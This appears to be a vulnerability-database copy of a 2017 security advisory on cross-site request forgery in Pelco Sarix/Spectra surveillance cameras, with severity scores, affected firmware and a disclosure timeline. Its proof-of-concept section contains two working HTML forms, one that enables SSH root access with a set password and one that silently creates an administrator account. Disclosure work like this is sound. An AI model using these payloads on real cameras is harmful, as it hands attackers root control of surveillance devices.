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zeroscienceGjoko KrsticZSL-2017-5416
HistoryJul 10, 2017 - 12:00 a.m.

Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access

2017-07-1000:00:00
Gjoko Krstic
zeroscience.mk
162

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

8.3 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

51.2%

JSON

Title: Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access
Advisory ID: ZSL-2017-5416
Type: Local/Remote
Impact: Cross-Site Scripting, System Access
Risk: (4/5)
Release Date: 10.07.2017

Summary

Pelco offers the broadest selection of IP cameras designed for security surveillance in a wide variety of commercial and industrial settings. From our industry-leading fixed and high-speed IP cameras to panoramic, thermal imaging, explosionproof and more, we offer a camera for any environment, any lighting condition and any application. When nothing but the best will do. Sarix™ Enhanced Range cameras provide the most robust feature-set for your mission-critical applications. With SureVision™ 3.0, Sarix Enhanced delivers the best possible image in difficult lighting conditions such as a combination of bright areas, shaded areas, and intense light. Designed with superior reliability, fault tolerance, and processing speed, these rugged fixed IP cameras ensure you always get the video that you need.

Description

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Schneider Electric SE - <https://www.pelco.com>

Affected Version

Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Tested On

Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista® Linux® Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0

Vendor Status

[07.04.2017] Vulnerabilities discovered.
[28.04.2017] Vendor contacted.
[09.07.2017] No response from the vendor.
[10.07.2017] Public security advisory released.
[01.03.2018] Vendor releases version 3.29.67 to address this issue.
[14.02.2019] Vendor releases another public advisory.

PoC

pelco_csrf.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://www.exploit-db.com/exploits/42308/&gt;
[2] <https://cxsecurity.com/issue/WLB-2017070076&gt;
[3] <https://packetstormsecurity.com/files/143314&gt;
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/129666&gt;
[5] <https://vulners.com/cve/CVE-2018-7236&gt;
[6] <https://www.schneider-electric.com/en/download/document/SEVD-2018-058-01/&gt;
[7] <https://www.schneider-electric.com/en/download/document/SEVD-2019-045-03/&gt;
[8] <https://vulners.com/cve/CVE-2018-7828&gt;

Changelog

[10.07.2017] - Initial release
[01.08.2017] - Added reference [1], [2] and [3]
[07.08.2017] - Added reference [4]
[19.03.2018] - Added vendor status and reference [5] and [6]
[23.02.2019] - Added vendor status and reference [7] and [8]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5416
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5416.php


07.04.2017

--


CSRF enable ssh root access:
----------------------------


  </p>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/ssh/update" method="POST">
<input name="enabled" type="hidden" value="1"/>
<input name="password" type="hidden" value="root123"/>
<input name="password_confirmation" type="hidden" value="root123"/>
<input type="submit" value="Go root"/>
</form>
  




CSRF add admin:
---------------


  
  <script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/auth/users/create" method="POST">
<input name="original_username" type="hidden" value=""/>
<input name="mode" type="hidden" value="create"/>
<input name="group" type="hidden" value="admins"/>
<input name="username" type="hidden" value="pelco_admin"/>
<input name="password" type="hidden" value="pelco_pass"/>
<input name="password_confirmation" type="hidden" value="pelco_pass"/>
<input type="submit" value="Add admin"/>
</form>
</body></html>

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6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

8.3 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

51.2%

JSON
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